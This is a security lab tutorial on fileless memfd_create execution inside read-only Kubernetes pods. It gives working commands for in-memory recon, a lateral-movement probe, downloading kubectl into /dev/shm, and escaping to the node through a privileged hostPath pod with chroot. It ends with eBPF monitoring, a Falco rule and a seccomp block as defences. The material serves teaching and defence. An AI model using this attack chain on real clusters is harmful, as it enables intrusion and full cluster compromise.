In-Memory Attacks on Kubernetes: Fileless Execution in Read-Only Pods

In-Memory Attacks on Kubernetes: Fileless Execution in Read-Only Pods

Fileless, in-memory attacks are on the rise in cloud-native environments. Traditional attacks drop files to disk — binaries, scripts, webshells — which leaves artifacts for forensics and triggers file-based detection. In-memory attacks bypass this entirely: the payload exists only in RAM, executed through memory-backed file descriptors (memfd_create) that never touch the filesystem.

This is especially powerful in Kubernetes, where security-conscious teams deploy pods with read-only root filesystems. An attacker who lands inside such a pod can't write files — but they can execute arbitrary code in memory if they have access to a script interpreter (Python, Perl, Ruby).

This tutorial builds a complete attack-and-observe lab:

  1. Transform ELF binaries into Python scripts using fee (Fileless ELF Execution)
  2. Test the payloads locally in Docker containers with read-only filesystems
  3. Execute in-memory inside Kubernetes pods — recon, lateral movement, privilege escalation
  4. Observe the full attack chain at the kernel level with eBPF and strace
  5. Detect the attacks with Falco rules and seccomp profiles

This is different from the memfd syscall overview — this is a hands-on lab where you build, transform, execute, and observe each step.


How memfd_create Works

The memfd_create syscall creates an anonymous file in memory and returns a file descriptor. The file lives entirely in RAM — it has no path on the filesystem. You can write an ELF binary to this descriptor and then execute it via /proc/self/fd/<n>.

Normal execution:           In-memory execution:

write binary → /tmp/payload  memfd_create() → fd 3
chmod +x /tmp/payload        write(fd 3, <ELF bytes>)
execve("/tmp/payload")       execve("/proc/self/fd/3")

Leaves file on disk ✗        Nothing on disk ✓
Triggers file monitors ✗     Bypasses file monitors ✓

The fee tool automates this: it takes an ELF binary, base64-encodes it, and wraps it in a Python script that calls memfd_create, writes the binary to the descriptor, and executes it. The entire workflow can be piped through a Python interpreter — no files written.


Prerequisites

  • Docker installed and running
  • minikube or kind for a local Kubernetes cluster
  • kubectl configured
  • bpftrace or strace for observability (Linux host required for eBPF)
# Create working directory
mkdir -p ~/inmem-lab && cd ~/inmem-lab

# Start a local cluster (minikube example)
minikube start

Step 1: Build the fee Tool

fee (Fileless ELF Execution) converts ELF binaries into Python scripts that use memfd_create for in-memory execution.

Create a Docker image with fee installed:

FROM python:3.11-slim
RUN pip install --user fee

Build it:

docker build -t fee-tool .

Test that it works:

# Convert the 'id' binary to a Python script
docker run --rm -v /usr/bin:/host:ro fee-tool \
    /bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/id' > id_memfd.py

# Inspect the output — it's a Python script with base64-encoded ELF
head -5 id_memfd.py

You should see Python code that imports base64, ctypes, and calls memfd_create.


Step 2: Test in a Read-Only Docker Container

Before moving to Kubernetes, test the workflow in a Docker container with a read-only filesystem:

# Run a read-only container with Python
docker run --rm -it --read-only \
    --tmpfs /dev/shm:rw,nosuid,nodev,noexec,size=64k \
    python:3.11-slim /bin/bash

Inside the container, verify the filesystem is read-only:

touch /tmp/test
# touch: cannot touch '/tmp/test': Read-only file system

Now pipe the fee-converted script through Python:

# From your host, in another terminal:
cat id_memfd.py | docker exec -i <container_id> python3
# Output: uid=0(root) gid=0(root) groups=0(root)

The id binary executed entirely in memory — no file was written to the container's filesystem.


Step 3: Deploy a Read-Only Pod in Kubernetes

Create a deployment with a read-only root filesystem, simulating a security-hardened production pod:

# readonly-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: target-pod
  namespace: default
  labels:
    app: target
spec:
  containers:
    - name: app
      image: python:3.11-slim
      command: ["sleep", "infinity"]
      securityContext:
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        runAsUser: 1000
      volumeMounts:
        - name: shm
          mountPath: /dev/shm
  volumes:
    - name: shm
      emptyDir:
        medium: Memory
        sizeLimit: 64Mi

Deploy it:

kubectl apply -f readonly-pod.yaml
kubectl wait --for=condition=Ready pod/target-pod --timeout=60s

Verify the filesystem is read-only:

kubectl exec target-pod -- touch /tmp/test
# error: Read-only file system

But Python is available:

kubectl exec target-pod -- python3 --version
# Python 3.11.x

This is the attacker's entry point.


Step 4: Attack Scenario 1 — In-Memory Recon

An attacker who has gained code execution (via SSTI, RCE, or compromised CI/CD) can run reconnaissance tools entirely in memory.

Convert recon tools to fileless payloads

# Convert 'id' for user enumeration
docker run --rm -v /usr/bin:/host:ro fee-tool \
    /bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/id' > id_memfd.py

# Convert 'cat' for reading files
docker run --rm -v /usr/bin:/host:ro fee-tool \
    /bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/cat' > cat_memfd.py

# Convert 'env' for environment enumeration
docker run --rm -v /usr/bin:/host:ro fee-tool \
    /bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/env' > env_memfd.py

Execute in the read-only pod

# Run 'id' in-memory
cat id_memfd.py | kubectl exec -i target-pod -- python3
# uid=1000 gid=1000

# Enumerate environment (K8s service account, API server address)
cat env_memfd.py | kubectl exec -i target-pod -- python3
# KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
# KUBERNETES_SERVICE_HOST=10.96.0.1

What happened: The id and env binaries were never written to disk. They were decoded from base64, written to an anonymous memory-backed file descriptor via memfd_create, and executed via /proc/self/fd/<n>. The read-only filesystem was completely bypassed.

Modifying fee output for arguments

The default fee output executes the binary with no arguments. To pass arguments (e.g., cat /etc/passwd), edit the last line of the generated Python script:

# Default (no args):
os.execle(p, 'cat', {})

# With arguments:
os.execle(p, 'cat', '/etc/passwd', {})

Or use this pattern to make it accept stdin arguments:

import sys
os.execle(p, sys.argv[0], *sys.argv[1:], {})

Step 5: Attack Scenario 2 — Lateral Movement

After initial recon reveals a database service (via environment variables), the attacker builds a custom exploit and executes it in-memory.

Build a static Go binary for the target

Go produces statically-linked binaries by default with CGO_ENABLED=0, which eliminates glibc version mismatches:

# Example: simple TCP connection tool
cat > connect.go << 'EOF'
package main

import (
    "fmt"
    "net"
    "os"
)

func main() {
    if len(os.Args) < 2 {
        fmt.Println("Usage: connect <host:port>")
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", os.Args[1])
    if err != nil {
        fmt.Fprintf(os.Stderr, "Error: %v\n", err)
        os.Exit(1)
    }
    defer conn.Close()
    fmt.Fprintf(conn, "PING\n")
    buf := make([]byte, 1024)
    n, _ := conn.Read(buf)
    fmt.Printf("Response: %s\n", string(buf[:n]))
}
EOF

# Build static binary
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o connect connect.go

# Convert to fileless payload
docker run --rm -v $(pwd):/host fee-tool \
    /bin/sh -c '/root/.local/lib/python3.11/site-packages/fee.py /host/connect' > connect_memfd.py

Execute laterally

# Probe a discovered service from inside the pod
cat connect_memfd.py | kubectl exec -i target-pod -- python3

Key insight: The custom Go binary was compiled on the attacker's machine, converted to a Python script with fee, and executed entirely in memory inside a read-only pod. No binary was ever written to the pod's filesystem.

glibc compatibility note

If using C/C++ binaries instead of Go, the binary must be compiled against a glibc version equal to or older than the target container's:

# Check target glibc version
kubectl exec target-pod -- ldd --version 2>&1 | head -1

# Use an older Ubuntu base for compilation if needed
docker run --rm -v $(pwd):/host ubuntu:16.04 \
    bash -c 'apt-get update && apt-get install -y gcc && gcc -static /host/exploit.c -o /host/exploit'

Step 6: Attack Scenario 3 — Privilege Escalation via cluster-admin

If the compromised pod's service account has elevated permissions (a common misconfiguration), the attacker can escalate to cluster admin.

Transfer kubectl in-memory

Since the pod is read-only, use an interpreter-based file transfer (Perl, Python, or curl if available):

# kubectl_download.py — download kubectl via Python
import urllib.request, os, stat

url = 'https://dl.k8s.io/release/v1.28.0/bin/linux/amd64/kubectl'
path = '/dev/shm/kubectl'

urllib.request.urlretrieve(url, path)
os.chmod(path, stat.S_IRWXU)
print(f'Downloaded to {path}')
# Execute the download script
cat kubectl_download.py | kubectl exec -i target-pod -- python3

# Verify — /dev/shm is writable even on read-only pods
kubectl exec target-pod -- ls -la /dev/shm/kubectl

Check permissions and deploy a badPod

# Check what the service account can do
kubectl exec target-pod -- /dev/shm/kubectl auth can-i --list

# If create pods is allowed, deploy a BishopFox-style privileged pod
kubectl exec target-pod -- /dev/shm/kubectl run attack-pod \
    --image=alpine --restart=Never \
    --overrides='{
      "spec": {
        "hostNetwork": true,
        "hostPID": true,
        "containers": [{
          "name": "attack",
          "image": "alpine",
          "securityContext": {"privileged": true},
          "volumeMounts": [{"mountPath": "/host", "name": "root"}],
          "command": ["sleep", "infinity"]
        }],
        "volumes": [{"name": "root", "hostPath": {"path": "/"}}]
      }
    }'

# Escape to the host
kubectl exec -it attack-pod -- chroot /host

This is a full cluster compromise — from a read-only pod to root on the worker node.


Step 7: Observing with eBPF

Now we observe the attack from the defender's perspective. On the Kubernetes node, use bpftrace to watch the memfd_create and execve syscalls:

Monitor memfd_create calls

# On the K8s node (or use a DaemonSet with host PID access)
sudo bpftrace -e '
tracepoint:syscalls:sys_enter_memfd_create {
    printf("memfd_create: pid=%d comm=%s name=%s\n",
           pid, comm, str(args->uname));
}
'

When the attacker executes a fee payload, you'll see:

memfd_create: pid=12345 comm=python3 name=

Monitor execve from /proc/self/fd

sudo bpftrace -e '
tracepoint:sched:sched_process_exec {
    if (str(args->filename) == "/proc/self/fd/*") {
        printf("FILELESS EXEC: pid=%d binary=%s\n",
               pid, str(args->filename));
    }
}
'

Full attack chain with strace

For detailed syscall-level observation on a specific process:

# Trace a process and all children
strace -f -e trace=memfd_create,execve,connect,open,write \
    -p <PID> 2>&1 | grep -E "memfd|execve|connect"

Expected output during a fee payload execution:

memfd_create("", MFD_CLOEXEC) = 3
write(3, "\x7fELF\x02\x01\x01...", 14352) = 14352
execve("/proc/self/fd/3", ["id"], []) = 0

This is the smoking gun — memfd_create followed by execve on /proc/self/fd/3.


Detection and Defense

Falco rules for memfd_create

- rule: Fileless Execution via memfd_create
  desc: >
    Detect processes executing binaries from anonymous memory-backed
    file descriptors, a technique used in fileless attacks.
  condition: >
    spawned_process and container and
    (proc.exe startswith "/proc/self/fd/" or
     proc.exe startswith "/dev/fd/")
  output: >
    Fileless execution detected
    (user=%user.name command=%proc.cmdline exe=%proc.exe
     container=%container.name image=%container.image.repository
     pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: CRITICAL
  tags: [container, mitre_defense_evasion, fileless]

Gatekeeper: enforce read-only + block tmpfs abuse

Read-only filesystems are a good first step, but they don't prevent memfd attacks if a script interpreter is present. Layer defenses:

# Block pods that mount /dev/shm with exec permissions
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockShmExec
metadata:
  name: block-shm-exec
spec:
  match:
    kinds:
      - apiGroups: [""]
        kinds: ["Pod"]

Seccomp: block memfd_create

The most effective defense — block the syscall entirely:

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["memfd_create"],
      "action": "SCMP_ACT_KILL"
    }
  ]
}

Apply via pod security context:

securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: block-memfd.json

With memfd_create blocked at the kernel level, fee payloads fail immediately.

Defense summary

Layer Defense What it blocks
Filesystem readOnlyRootFilesystem: true Traditional file drops
Seccomp Block memfd_create syscall Fileless execution via memory FDs
Admission Gatekeeper policies Privileged pods, missing security contexts
Runtime Falco rules Detect execve from /proc/self/fd/*
Network Network policies Lateral movement, C2 callbacks

Lab Cleanup

kubectl delete pod target-pod --ignore-not-found
kubectl delete pod attack-pod --ignore-not-found
rm -f id_memfd.py cat_memfd.py env_memfd.py connect_memfd.py
rm -f connect connect.go kubectl_download.py
rm -rf ~/inmem-lab

Next Steps

  • Explore the memfd syscall in depth — The memfd syscall overview covers the theory and Perl-based implementation
  • Build seccomp profiles from eBPF traces — The eBPF & Seccomp tutorial shows how to generate allowlist profiles
  • Deploy runtime detection — The Gatekeeper & Falco tutorial walks through admission control and runtime monitoring
  • Test privileged pod escapes — The BishopFox badPods project provides manifests for testing all pod privilege escalation vectors
  • Lab repo — The full Kubernetes fileless execution lab is available at k8s_in_mem_lab